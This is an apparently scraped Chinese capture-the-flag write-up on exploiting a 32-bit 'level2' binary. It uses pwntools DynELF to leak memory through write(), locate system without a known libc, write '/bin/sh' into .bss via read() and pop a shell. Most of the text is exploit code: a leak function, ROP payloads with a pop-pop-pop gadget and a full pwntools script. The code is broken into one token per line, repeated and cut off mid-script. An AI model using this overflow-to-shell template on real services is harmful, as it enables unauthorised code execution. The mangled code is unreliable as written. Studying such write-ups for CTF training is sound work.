ubuntu1~16.04.12
pwndbg
python
不通过确认libc版本,使用DynELF暴力搜找到system 获取shell
https://blog.csdn.net/ATFWUS/article/details/104823539
DynELF的使用,也需要注意一些限制条件和具体的使用范围:
这次不需要知道libc版本通过DynELF去暴力搜索system
leak 这个回调函数需要可以反复调用
原理就是通过DynELF函数暴力枚举内存地址,使用(write or puts)获得地址地址都存放了什么东西。
获得system 后差字符串,可以使用read函数向.bbs数据段写入/bin/sh
,然后通过地址去引用存放变量。
.bss 段可以通过IDA查看ctrl+s 看到起始位置和结束位置。
.bss段(Block Started by Symbol)用来存储未初始化的全局变量和静态变量的内存,这些变量在程序加载时没有明确的初始值,通常被初始化为零或空。
在调用system这个call的时候注意堆栈平衡POP_POP_POP_ret这个为返回地址是为了把p32(0) 、p32(bass_addr) 、 p32(8)这三个, 三处pop出去让system_add成为栈顶
使用ROPgadget --binary level2 --only 'pop|ret' 找三个POP就行
DynELF(leak, elf
=
ELF(
'./level2'
))
system_addr
=
d.lookup(
'system'
,
'libc'
)
DynELF(leak, elf
=
ELF(
'./level2'
))
system_addr
=
d.lookup(
'system'
,
'libc'
)
def
leak(address):
pylaod1
=
'a'
*
140
+
p32(write_plt)
+
p32(vulfunAddr)
+
p32(
0x1
)
+
p32(address)
+
p32(
0x4
)
p.send(pylaod1)
data
=
p.recv(
4
)
print
(
"%#x => %s"
%
(address, (data
or
'
').encode('
hex
')))
return
data
d
=
DynELF(leak, elf
=
ELF(
'./level2'
))
system_addr
=
d.lookup(
'system'
,
'libc'
)
print
(
"system_addr"
,
hex
(system_addr))
def
leak(address):
pylaod1
=
'a'
*
140
+
p32(write_plt)
+
p32(vulfunAddr)
+
p32(
0x1
)
+
p32(address)
+
p32(
0x4
)
p.send(pylaod1)
data
=
p.recv(
4
)
print
(
"%#x => %s"
%
(address, (data
or
'
').encode('
hex
')))
return
data
d
=
DynELF(leak, elf
=
ELF(
'./level2'
))
system_addr
=
d.lookup(
'system'
,
'libc'
)
print
(
"system_addr"
,
hex
(system_addr))
payload1
=
'a'
*
140
+
p32(read_plt)
+
p32(POP_POP_POP_ret)
+
p32(
0
)
+
p32(bass_addr)
+
p32(
8
)
payload1
+
=
p32(system_addr)
+
p32(
0x0
)
+
p32(bass_addr)
payload1
=
'a'
*
140
+
p32(read_plt)
+
p32(POP_POP_POP_ret)
+
p32(
0
)
+
p32(bass_addr)
+
p32(
8
)
payload1
+
=
p32(system_addr)
+
p32(
0x0
)
+
p32(bass_addr)
from
pwn
import
*
p
=
process(
'./level2'
)
elf
=
ELF(
"./level2"
)
POP3_ret
=
0x080484bd
bss_addr
=
0x0804A018
write_plt
=
elf.symbols[
'write'
]
read_plt
=
elf.symbols[
'read'
]
vulnerable_function_addr
=
elf.symbols[
'vulnerable_function'
]
def
leak(addrs):
payload
=
b
'a'
*
140
+
p32(write_plt)
+
p32(vulnerable_function_addr)
+
p32(
0x1
)
+
p32(addrs)
+
p32(
0x4
)
p.send(payload)
data
=
p.recv(
4
)
print
(
"%#x => %s"
%
(addrs,(data.encode(
'hex'
)
if
data
else
'' )))
return
data
b
=
DynELF(leak
=
leak, elf
=
elf)
system_addr
=
b.lookup(
'system'
,
'libc'
)
print
(
"system_addr: %#x"
%
system_addr)
payload1
=
b
'a'
*
140
+
p32(read_plt)
+
p32(POP3_ret)
+
p32(
0x0
)
+
p32(bss_addr)
+
p32(
7
)
payload1
+
=
p32(system_addr)
+
p32(
0
)
+
p32(bss_addr)
if
args.G:
gdb.attach(p,
"b *vulnerable_function"
)
p.send(payload1)
p.send(
'/bin/sh\0'
)
p.interactive()
from
pwn
import
*
p
=
process(
'./level2'
)
elf
=
ELF(
"./level2"
)
POP3_ret
=
0x080484bd
bss_addr
=
0x0804A018
write_plt
=
elf.symbols[
'write'
]
read_plt
=
elf.symbols[
'read'
]
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)